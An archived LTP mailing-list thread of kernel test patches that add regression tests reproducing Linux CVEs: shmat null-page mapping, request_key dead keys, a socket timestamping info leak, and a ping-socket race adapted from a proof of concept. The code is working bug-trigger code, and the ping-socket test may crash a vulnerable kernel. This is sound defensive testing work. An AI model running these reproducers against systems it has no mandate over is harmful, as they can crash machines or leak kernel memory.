+ shm_id = shmget(IPC_PRIVATE, getpagesize(), 0777);
+ if (shm_id == -1)
+ tst_brk(TBROK | TERRNO,
+ "shmget(shm_key, PAGE_SIZE, IPC_CREATE | 0777) = -1");
+
+ tst_res(TINFO, "Attempting to attach shared memory to null page");
+ shm_addr = shmat(shm_id, ((void *)1), SHM_RND);
+ if (shm_addr == (void *)-1) {
+ if (errno == EINVAL) {
+ tst_res(TPASS, "shmat returned EINVAL");
+ shm_addr = 0;
+ return;
+ }
+ tst_brk(TBROK | TERRNO,
+ "The bug was not triggered, but the shmat error is unexpected");
+ }
+
+ tst_res(TINFO, "Mapped shared memory to %p", shm_addr);
+
+ if (!((size_t)shm_addr & (~0U << 16)))
+ tst_res(TFAIL,
+ "We have mapped a VM address within the first 64Kb");
+ else
+ tst_res(TPASS,
+ "The kernel assigned a different VM address");
+
+ ((char *)shm_addr)[0] = 'P';
+}
+
+static struct tst_test test = {
+ .tid = "cve-2017-5669",
+ .cleanup = cleanup,
+ .test_all = run,
+};
--
2.12.2
^ permalink raw reply related [flat|nested] 12+ messages in thread* [LTP] [PATCH 08/10] Test for CVE-2017-6951 in request_key
2017-05-19 12:31 [LTP] [PATCH 01/10] Add fuzzy synchronisation library for triggering races Richard Palethorpe
` (5 preceding siblings ...)
2017-05-19 12:31 ` [LTP] [PATCH 07/10] Test for CVE-2017-5669 in shmat Richard Palethorpe
@ 2017-05-19 12:31 ` Richard Palethorpe
2017-05-19 12:31 ` [LTP] [PATCH 09/10] Test for CVE-2017-7277 SOF_TIMESTAMPING_OPT_STATS Richard Palethorpe
2017-05-19 12:31 ` [LTP] [PATCH 10/10] Test for CVE-2017-2671 on ping sockets Richard Palethorpe
8 siblings, 0 replies; 12+ messages in thread
From: Richard Palethorpe @ 2017-05-19 12:31 UTC (permalink / raw)
To: ltp
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
runtest/syscalls | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/cve-2017-6951.c | 47 +++++++++++++++++++++++++++++++++++++++++++
3 files changed, 49 insertions(+)
create mode 100644 testcases/cve/cve-2017-6951.c
diff --git a/runtest/syscalls b/runtest/syscalls
index 0f3c45ada..271d1e684 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -919,6 +919,7 @@ renameat202 renameat202 -i 10
request_key01 request_key01
request_key02 request_key02
+cve-2017-6951 cve-2017-6951
rmdir01 rmdir01
rmdir02 rmdir02
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 715cbab38..979d18369 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -3,3 +3,4 @@ cve-2014-0196
cve-2016-4997
cve-2016-7117
cve-2017-5669
+cve-2017-6951
diff --git a/testcases/cve/cve-2017-6951.c b/testcases/cve/cve-2017-6951.c
new file mode 100644
index 000000000..0879345b9
--- /dev/null
+++ b/testcases/cve/cve-2017-6951.c
@@ -0,0 +1,47 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Test for CVE-2016-6951, original reproducer can be found here:
+ * http://www.spinics.net/lists/keyrings/msg01845.html
+ *
+ * request_key() is not in glibc, so we just use the syscall directly instead
+ * of linking to keyutils.
+ */
+
+#include <unistd.h>
+#include <sys/syscall.h>
+
+#include "tst_test.h"
+#include "linux_syscall_numbers.h"
+
+#define ATTEMPTS 0x100
+
+static void run(void)
+{
+ int i;
+
+ tst_res(TINFO, "Requesting dead key");
+ for (i = 0; i < ATTEMPTS; i++)
+ tst_syscall(__NR_request_key, "dead", "abc", "abc", 0, 0, 0);
+
+ tst_res(TPASS, "No crash after %d attempts", ATTEMPTS);
+}
+
+static struct tst_test test = {
+ .tid = "cve-2017-6951",
+ .test_all = run,
+};
--
2.12.2
^ permalink raw reply related [flat|nested] 12+ messages in thread* [LTP] [PATCH 09/10] Test for CVE-2017-7277 SOF_TIMESTAMPING_OPT_STATS
2017-05-19 12:31 [LTP] [PATCH 01/10] Add fuzzy synchronisation library for triggering races Richard Palethorpe
` (6 preceding siblings ...)
2017-05-19 12:31 ` [LTP] [PATCH 08/10] Test for CVE-2017-6951 in request_key Richard Palethorpe
@ 2017-05-19 12:31 ` Richard Palethorpe
2017-05-19 12:31 ` [LTP] [PATCH 10/10] Test for CVE-2017-2671 on ping sockets Richard Palethorpe
8 siblings, 0 replies; 12+ messages in thread
From: Richard Palethorpe @ 2017-05-19 12:31 UTC (permalink / raw)
To: ltp
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
runtest/cve | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/cve-2017-7277.c | 449 ++++++++++++++++++++++++++++++++++++++++++
3 files changed, 451 insertions(+)
create mode 100644 testcases/cve/cve-2017-7277.c
diff --git a/runtest/cve b/runtest/cve
index ee0614a9c..359958ca9 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -6,3 +6,4 @@ cve-2016-5195 dirtyc0w
cve-2016-7117 cve-2016-7117
cve-2017-5669 cve-2017-5669
cve-2017-6951 cve-2017-6951
+cve-2017-7277 cve-2017-7277
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 979d18369..516ea62a5 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -4,3 +4,4 @@ cve-2016-4997
cve-2016-7117
cve-2017-5669
cve-2017-6951
+cve-2017-7277
diff --git a/testcases/cve/cve-2017-7277.c b/testcases/cve/cve-2017-7277.c
new file mode 100644
index 000000000..9fdbec445
--- /dev/null
+++ b/testcases/cve/cve-2017-7277.c
@@ -0,0 +1,449 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Test for CVE-2017-7277
+ *
+ * There are two bugs:
+ *
+ * 1) __sock_recv_timestamp does not expect SOF_TIMESTAMPING_RX_* to be set
+ * with SOF_TIMESTAMPING_OPT_STATS. So just assumes it is handling a
+ * packet from the error queue which will contain TX stats if the socket
+ * option SOF_TIMESTAMPING_OPT_STATS is set. However if RX timestamping
+ * is enabled then although there may be an RX timestamp there will be no
+ * TX stats, so the kernel ends up copying whatever is in the socket
+ * buffer which could be private or invalid data. Fixed by commit
+ * 8605330aac5a5785630aec8f64378a54891937cc
+ *
+ * 2) __sock_recv_timestamp only checks the socket's
+ * SOF_TIMESTAMPING_OPT_STATS flag which may be enabled while timestamp
+ * error packets without stats are still in the pipeline. Fixed by commit
+ * 4ef1b2869447411ad3ef91ad7d4891a83c1a509a
+ *
+ * To detect the first bug we receive some packets on a socket with
+ * SOF_TIMESTAMPING_OPT_STATS set and check the control messages to see if
+ * they contain the message data or malformed timestamp stats.
+ *
+ * To detect the second bug we transmit some packets while toggling
+ * timestamping on and off. Then we check the error message queue for control
+ * messages with malformed timestamp stats. Unfortunately this does not appear
+ * to replicate the bug on my computer, but I have left it in anyway to
+ * provide some coverage for timestamping.
+ *
+ * Feature was introduced by commit 1c885808e45601b2b6f68b30ac1d999e10b6f606
+ * For more information see https://lkml.org/lkml/2017/3/15/485
+ *
+ * The test works with both TCP and UDP which can be changed at compile
+ * time. It probably works with other protocols as well.
+ */
+#include <errno.h>
+#include <stdlib.h>
+#include <string.h>
+#include <signal.h>
+#include <sys/wait.h>
+#include <sys/socket.h>
+#include <linux/socket.h>
+#include <linux/tcp.h>
+#include <linux/netlink.h>
+#include <arpa/inet.h>
+#include <netinet/in.h>
+#include <netinet/ip.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+
+#define MSG_STR "This is not a control message"
+#define MSG_SIZE sizeof(MSG_STR)
+#define PROT SOCK_STREAM
+#define STATS_LEN ((NLA_HDRLEN + NLA_ALIGN(sizeof(__u64))) * 3)
+
+#ifndef SCM_TIMESTAMPING_OPT_STATS
+
+#if defined(__sparc__)
+#define SCM_TIMESTAMPING_OPT_STATS 0x0038
+#elif defined(__hppa__)
+#define SCM_TIMESTAMPING_OPT_STATS 0x402F
+#else
+#define SCM_TIMESTAMPING_OPT_STATS 54
+#endif
+
+/* From <linux/tcp.h> */
+enum {
+ TCP_NLA_PAD,
+ TCP_NLA_BUSY, /* Time (usec) busy sending data */
+ TCP_NLA_RWND_LIMITED, /* Time (usec) limited by receive window */
+ TCP_NLA_SNDBUF_LIMITED, /* Time (usec) limited by send buffer */
+};
+#endif /* ifndef SCM_TIMESTAMPING_OPT_STATS */
+
+/* From <linux/net_tstamp.h> */
+enum {
+ SOF_TIMESTAMPING_TX_HARDWARE = (1<<0),
+ SOF_TIMESTAMPING_TX_SOFTWARE = (1<<1),
+ SOF_TIMESTAMPING_RX_HARDWARE = (1<<2),
+ SOF_TIMESTAMPING_RX_SOFTWARE = (1<<3),
+ SOF_TIMESTAMPING_SOFTWARE = (1<<4),
+ SOF_TIMESTAMPING_RAW_HARDWARE = (1<<6),
+ SOF_TIMESTAMPING_OPT_ID = (1<<7),
+ SOF_TIMESTAMPING_TX_SCHED = (1<<8),
+ SOF_TIMESTAMPING_TX_ACK = (1<<9),
+ SOF_TIMESTAMPING_OPT_CMSG = (1<<10),
+ SOF_TIMESTAMPING_OPT_TSONLY = (1<<11),
+ SOF_TIMESTAMPING_OPT_STATS = (1<<12),
+};
+
+struct sockaddr_in srv_addr = {
+ .sin_family = AF_INET,
+ .sin_port = 0,
+ .sin_addr = { 0 },
+};
+
+static char buf[MSG_SIZE];
+static int srv_lsn_sock;
+
+static void setup(void)
+{
+ socklen_t addr_len = (socklen_t)sizeof(srv_addr);
+
+ srv_addr.sin_addr = (struct in_addr){
+ htonl(INADDR_LOOPBACK)
+ };
+ srv_lsn_sock = SAFE_SOCKET(AF_INET, PROT, 0);
+ SAFE_BIND(srv_lsn_sock,
+ (struct sockaddr *)&srv_addr, addr_len);
+ SAFE_GETSOCKNAME(srv_lsn_sock,
+ (struct sockaddr *)&srv_addr, &addr_len);
+ if ((socklen_t)sizeof(srv_addr) < addr_len)
+ tst_brk(TBROK, "ABI breakage?");
+
+ if (PROT == SOCK_STREAM) {
+ SAFE_LISTEN(srv_lsn_sock, 1);
+ tst_res(TINFO, "Listening on 127.0.0.1:%d",
+ ntohs(srv_addr.sin_port));
+ } else {
+ tst_res(TINFO, "Bound to 127.0.0.1:%d",
+ ntohs(srv_addr.sin_port));
+ }
+
+ strcpy(buf, MSG_STR);
+}
+
+static void cleanup(void)
+{
+ close(srv_lsn_sock);
+ srv_addr.sin_port = 0;
+}
+
+static struct nlattr *nla_next(struct nlattr *nla, int *remaining)
+{
+ int len = NLA_ALIGN(nla->nla_len);
+
+ *remaining -= len;
+ if (*remaining < NLA_HDRLEN)
+ return 0;
+
+ return (struct nlattr *)((char *)nla + len);
+}
+
+static int check_cmsg(struct msghdr *msgh)
+{
+ struct cmsghdr *cmsg;
+ char *data;
+ struct nlattr *nla;
+ int remaining;
+
+ for (cmsg = CMSG_FIRSTHDR(msgh);
+ cmsg != NULL;
+ cmsg = CMSG_NXTHDR(msgh, cmsg)) {
+
+ data = (char *)CMSG_DATA(cmsg);
+ if (!strncmp(data, MSG_STR, cmsg->cmsg_len))
+ return TFAIL;
+
+ if (cmsg->cmsg_type != SCM_TIMESTAMPING_OPT_STATS)
+ continue;
+
+ if (cmsg->cmsg_len < STATS_LEN) {
+ tst_res(TFAIL,
+ "Control message is not big enough to contain stats");
+ continue;
+ }
+
+ nla = (struct nlattr *)CMSG_DATA(cmsg);
+ if (nla->nla_type != TCP_NLA_BUSY) {
+ tst_res(TFAIL,
+ "First nlattr should be TCP_NLA_BUSY");
+ continue;
+ }
+
+ remaining = cmsg->cmsg_len;
+ nla = nla_next(nla, &remaining);
+ if (!nla) {
+ tst_res(TFAIL, "TCP_NLA_BUSY length is too long");
+ continue;
+ }
+ if (nla->nla_type != TCP_NLA_RWND_LIMITED) {
+ tst_res(TFAIL,
+ "Second nlattr should be TCP_NLA_RWND_LIMITED");
+ continue;
+ }
+
+ nla = nla_next(nla, &remaining);
+ if (!nla) {
+ tst_res(TFAIL,
+ "TCP_NLA_RWND_LIMITED length is too long");
+ continue;
+ }
+ if (nla->nla_type != TCP_NLA_SNDBUF_LIMITED)
+ tst_res(TFAIL,
+ "Third nlattr should be TCP_NLA_SNDBUF_LIMITED");
+ }
+
+ return TPASS;
+}
+
+static ssize_t write_read(int sock,
+ int flags,
+ struct sockaddr_in *peer_addr,
+ int check)
+{
+ static char cbuf[CMSG_ALIGN(4096)];
+ ssize_t sstat, total = 0;
+ struct iovec vec = {
+ .iov_base = (void *)buf,
+ .iov_len = sizeof(buf)
+ };
+ struct msghdr msg = {
+ .msg_iov = &vec,
+ .msg_iovlen = 1,
+ .msg_control = (void *)cbuf,
+ .msg_controllen = sizeof(cbuf)
+ };
+
+ if (peer_addr != 0) {
+ msg.msg_name = (void *)peer_addr;
+ msg.msg_namelen = (socklen_t)sizeof(struct sockaddr_in);
+ }
+
+ do {
+ sstat = recvmsg(sock, &msg, flags);
+ if (sstat < 0 && errno != EAGAIN) {
+ sstat = -errno;
+ tst_res(TINFO | TERRNO, "recv(%d, %d, %p) < 0",
+ sock, flags, (void *)peer_addr);
+ return sstat;
+ }
+ total += sstat;
+ if (check && check_cmsg(&msg) == TFAIL)
+ tst_res(TFAIL, "Receive msg has bad control message");
+ } while ((size_t)total < MSG_SIZE * 2 && !(flags & MSG_DONTWAIT));
+
+ msg.msg_controllen = 0;
+
+ do {
+ sstat = sendmsg(sock, &msg, flags);
+ if (sstat < 0 && peer_addr != 0 && errno == EDESTADDRREQ)
+ break;
+ if (sstat < 0 && errno != EAGAIN) {
+ sstat = -errno;
+ tst_res(TINFO | TERRNO, "send(%d, %d, %p) < 0",
+ sock, flags, (void *)peer_addr);
+ return sstat;
+ }
+ total += sstat;
+ if (check && check_cmsg(&msg) == TFAIL)
+ tst_res(TFAIL, "Transmit msg has bad control message");
+ } while ((size_t)total < MSG_SIZE && !(flags & MSG_DONTWAIT));
+
+ return total;
+}
+
+static void server(void)
+{
+ int srv_sock;
+ struct sockaddr_in cln_addr;
+ socklen_t addr_len = (socklen_t)sizeof(cln_addr);
+ ssize_t sstat;
+
+ if (PROT == SOCK_STREAM) {
+ srv_sock = accept(srv_lsn_sock,
+ (struct sockaddr *)&cln_addr, &addr_len);
+ if (srv_sock < 0)
+ tst_brk(TBROK | TERRNO, "Accept failed");
+ tst_res(TINFO,
+ "Server accepted connection, on sock %d", srv_sock);
+ } else {
+ srv_sock = srv_lsn_sock;
+ }
+
+ while (1) {
+ if (PROT == SOCK_STREAM)
+ sstat = write_read(srv_sock, 0, 0, 0);
+ else
+ sstat = write_read(srv_sock, 0, &cln_addr, 0);
+ if (sstat < 0) {
+ close(srv_sock);
+ if (sstat != -ECONNRESET)
+ exit(TBROK);
+ else
+ exit(0);
+ }
+ }
+}
+
+static int inspect_timestamps(int cln_sock)
+{
+ char cbuf[CMSG_ALIGN(4096)];
+ struct sockaddr_in addr;
+ ssize_t sstat;
+ struct msghdr errq_msg = { 0 };
+
+ errq_msg.msg_name = (void *)&addr;
+ errq_msg.msg_namelen = (socklen_t)sizeof(addr);
+ errq_msg.msg_control = (void *)cbuf;
+ errq_msg.msg_controllen = sizeof(cbuf);
+
+ while (1) {
+ sstat = recvmsg(cln_sock, &errq_msg,
+ MSG_ERRQUEUE | MSG_DONTWAIT);
+ if (sstat < 0 && errno == EAGAIN)
+ break;
+ else if (sstat < 0) {
+ tst_res(TBROK | TERRNO,
+ "recvmsg(cln_sock,... , MSG_ERRQUEUE) == -1");
+ return -1;
+ }
+
+ if (check_cmsg(&errq_msg) == TFAIL) {
+ tst_res(TFAIL,
+ "Error queue contains bad control message");
+ break;
+ }
+ }
+
+ return 0;
+}
+
+static void client(void)
+{
+ const unsigned int tsopts_no_stats =
+ SOF_TIMESTAMPING_TX_SOFTWARE
+ | SOF_TIMESTAMPING_TX_SCHED
+ | SOF_TIMESTAMPING_RX_SOFTWARE
+ | SOF_TIMESTAMPING_SOFTWARE
+ | SOF_TIMESTAMPING_TX_HARDWARE
+ | SOF_TIMESTAMPING_RX_HARDWARE
+ | SOF_TIMESTAMPING_RAW_HARDWARE
+ | SOF_TIMESTAMPING_OPT_TSONLY;
+ const unsigned int tsopts_stats =
+ tsopts_no_stats
+ | SOF_TIMESTAMPING_OPT_STATS;
+ int cln_sock;
+ int i, stat;
+ const void *which_opts;
+ pid_t chld;
+
+ cln_sock = SAFE_SOCKET(AF_INET, PROT, 0);
+ tst_res(TINFO, "Created client socket %d", cln_sock);
+ stat = setsockopt(cln_sock, SOL_SOCKET, SO_TIMESTAMPING,
+ (void *)&tsopts_stats, sizeof(tsopts_stats));
+ if (stat < 0 && errno == EINVAL) {
+ tst_res(TCONF, "SOF_TIMESTAMPING_OPT_STATS not supported");
+ close(cln_sock);
+ exit(0);
+ } else if (stat < 0) {
+ tst_res(TBROK | TERRNO,
+ "setsockopt(cln_sock, SOL_SOCKET, SO_TIMESTAMPING,...) == -1");
+ close(cln_sock);
+ exit(TBROK);
+ }
+
+ stat = connect(cln_sock,
+ (struct sockaddr *)&srv_addr,
+ (socklen_t)sizeof(srv_addr));
+ if (stat < 0) {
+ tst_res(TBROK | TERRNO,
+ "connect(cln_sock, srv_addr, ...) < 0");
+ goto error;
+ }
+
+ if (write_read(cln_sock, MSG_DONTWAIT, 0, 1) < 0)
+ goto error;
+
+ chld = SAFE_FORK();
+ if (chld == 0) {
+ for (i = 0; i < 0xFFF; i++) {
+ if (i & 1)
+ which_opts = &tsopts_no_stats;
+ else
+ which_opts = &tsopts_stats;
+ SAFE_SETSOCKOPT(cln_sock, SOL_SOCKET, SO_TIMESTAMPING,
+ which_opts, sizeof(tsopts_stats));
+ }
+ exit(0);
+ }
+
+ for (i = 0; i < 0xFFF; i++)
+ write_read(cln_sock, MSG_DONTWAIT, 0, 0);
+
+ SAFE_WAITPID(chld, &stat, 0);
+
+ if (inspect_timestamps(cln_sock) < 0)
+ goto error;
+
+ close(cln_sock);
+ exit(0);
+error:
+ close(cln_sock);
+ exit(TBROK);
+}
+
+static void run(void)
+{
+ pid_t srv_pid, cln_pid, trm_pid;
+ int stat, brok;
+
+ srv_pid = SAFE_FORK();
+ if (srv_pid == 0)
+ server();
+
+ cln_pid = SAFE_FORK();
+ if (cln_pid == 0)
+ client();
+
+ trm_pid = SAFE_WAITPID(-1, &stat, 0);
+ brok = WIFEXITED(stat) && WEXITSTATUS(stat) != 0;
+ if (trm_pid == srv_pid)
+ SAFE_KILL(cln_pid, SIGTERM);
+ else
+ SAFE_KILL(srv_pid, SIGTERM);
+
+ trm_pid = SAFE_WAITPID(-1, &stat, 0);
+ brok |= WIFEXITED(stat) && WEXITSTATUS(stat) != 0;
+
+ if (brok)
+ tst_brk(TBROK, "Propogating child TBROK");
+ else
+ tst_res(TPASS, "We didn't crash");
+}
+
+static struct tst_test test = {
+ .tid = "cve-2017-7277",
+ .setup = setup,
+ .cleanup = cleanup,
+ .test_all = run,
+ .forks_child = 1,
+};
--
2.12.2
^ permalink raw reply related [flat|nested] 12+ messages in thread* [LTP] [PATCH 10/10] Test for CVE-2017-2671 on ping sockets
2017-05-19 12:31 [LTP] [PATCH 01/10] Add fuzzy synchronisation library for triggering races Richard Palethorpe
` (7 preceding siblings ...)
2017-05-19 12:31 ` [LTP] [PATCH 09/10] Test for CVE-2017-7277 SOF_TIMESTAMPING_OPT_STATS Richard Palethorpe
@ 2017-05-19 12:31 ` Richard Palethorpe
8 siblings, 0 replies; 12+ messages in thread
From: Richard Palethorpe @ 2017-05-19 12:31 UTC (permalink / raw)
To: ltp
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
runtest/cve | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/Makefile | 1 +
testcases/cve/cve-2017-2671.c | 123 ++++++++++++++++++++++++++++++++++++++++++
4 files changed, 126 insertions(+)
create mode 100644 testcases/cve/cve-2017-2671.c
diff --git a/runtest/cve b/runtest/cve
index 359958ca9..5958d6c39 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -4,6 +4,7 @@ cve-2014-0196 cve-2014-0196
cve-2016-4997 cve-2016-4997
cve-2016-5195 dirtyc0w
cve-2016-7117 cve-2016-7117
+cve-2017-2671 cve-2017-2671
cve-2017-5669 cve-2017-5669
cve-2017-6951 cve-2017-6951
cve-2017-7277 cve-2017-7277
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 516ea62a5..376964266 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -2,6 +2,7 @@ cve-2012-0957
cve-2014-0196
cve-2016-4997
cve-2016-7117
+cve-2017-2671
cve-2017-5669
cve-2017-6951
cve-2017-7277
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index d642b73b4..e9d9044d5 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -21,5 +21,6 @@ CFLAGS += -D_GNU_SOURCE
cve-2014-0196: LDFLAGS += -lpthread -lutil -lrt
cve-2016-7117: LDFLAGS += -lpthread -lrt
+cve-2017-2671: LDFLAGS += -lpthread -lrt
include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/cve/cve-2017-2671.c b/testcases/cve/cve-2017-2671.c
new file mode 100644
index 000000000..e76a87fd5
--- /dev/null
+++ b/testcases/cve/cve-2017-2671.c
@@ -0,0 +1,123 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ * Original POC by Daniel Jiang
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Test for CVE-2017-2671 faulty locking on ping socket
+ *
+ * When sys_connect() is called with sockaddr.sin_family set to AF_UNSPEC on a
+ * ping socket; __udp_disconnect() gets called, which in turn calls the buggy
+ * function ping_unhashed(). This function does not obtain a rwlock before
+ * checking if the socket is hashed allowing the socket data to be pulled from
+ * underneath it in the time between calling sk_hashed() and gaining the write
+ * lock.
+ *
+ * Fixed in commit 43a6684519ab0a6c52024b5e25322476cabad893
+ *
+ * This test repeatedly 'connects' a ping socket correctly then calls
+ * connect() with AF_UNSPEC in two seperate threads to trigger the race
+ * condition. If the bug is present, then the test will most likely crash the
+ * system.
+ *
+ * The test requests root privileges so that it can ensure ping sockets are
+ * enabled. On distributions (including Android) where ping sockets are
+ * enabled by default, root privileges are not required.
+ */
+
+#include <stdio.h>
+#include <sys/socket.h>
+#include <arpa/inet.h>
+#include <stdlib.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "tst_safe_pthread.h"
+
+#include "tst_fuzzy_sync.h"
+
+#define ATTEMPTS 0xFFFF
+#define PING_SYSCTL_PATH "/proc/sys/net/ipv4/ping_group_range"
+
+static int sockfd;
+static unsigned int ping_min_grp = 1, ping_max_grp;
+static struct tst_fzsync_pair fzsync_pair = {
+ .delay_inc = 1,
+};
+static struct sockaddr_in iaddr, uaddr;
+
+static void setup(void)
+{
+ iaddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+ uaddr = iaddr;
+ iaddr.sin_family = AF_INET;
+ uaddr.sin_family = AF_UNSPEC;
+ tst_fzsync_pair_init(&fzsync_pair);
+
+ SAFE_FILE_SCANF(PING_SYSCTL_PATH, "%u %u",
+ &ping_min_grp, &ping_max_grp);
+ SAFE_FILE_PRINTF(PING_SYSCTL_PATH, "0 0");
+}
+
+static void cleanup(void)
+{
+ if (ping_min_grp | ping_max_grp)
+ SAFE_FILE_PRINTF(PING_SYSCTL_PATH, "%u %u",
+ ping_min_grp, ping_max_grp);
+}
+
+static void *connect_b(void * param LTP_ATTRIBUTE_UNUSED)
+{
+ tst_fzsync_delay_b(&fzsync_pair);
+ connect(sockfd, (struct sockaddr *)&uaddr, sizeof(uaddr));
+ tst_fzsync_time_b(&fzsync_pair);
+
+ return 0;
+}
+
+static void run(void)
+{
+ pthread_t thrd;
+ int i;
+
+ sockfd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
+ tst_res(TINFO, "Created ping socket, attempting to race...");
+
+ for (i = 0; i < ATTEMPTS; i++) {
+ SAFE_CONNECT(sockfd,
+ (struct sockaddr *)&iaddr, sizeof(iaddr));
+ SAFE_PTHREAD_CREATE(&thrd, 0, connect_b, 0);
+
+ tst_fzsync_delay_a(&fzsync_pair);
+ connect(sockfd, (struct sockaddr *)&uaddr, sizeof(uaddr));
+ tst_fzsync_time_a(&fzsync_pair);
+
+ SAFE_PTHREAD_JOIN(thrd, 0);
+ tst_fzsync_pair_update(i, &fzsync_pair);
+
+ if (!(i & 0x7FFF))
+ tst_fzsync_pair_info(&fzsync_pair);
+ }
+
+ tst_res(TPASS, "We didn't crash");
+}
+
+static struct tst_test test = {
+ .tid = "cve-2017-2671",
+ .setup = setup,
+ .test_all = run,
+ .cleanup = cleanup,
+ .needs_root = 1,
+};
--
2.12.2
^ permalink raw reply related [flat|nested] 12+ messages in thread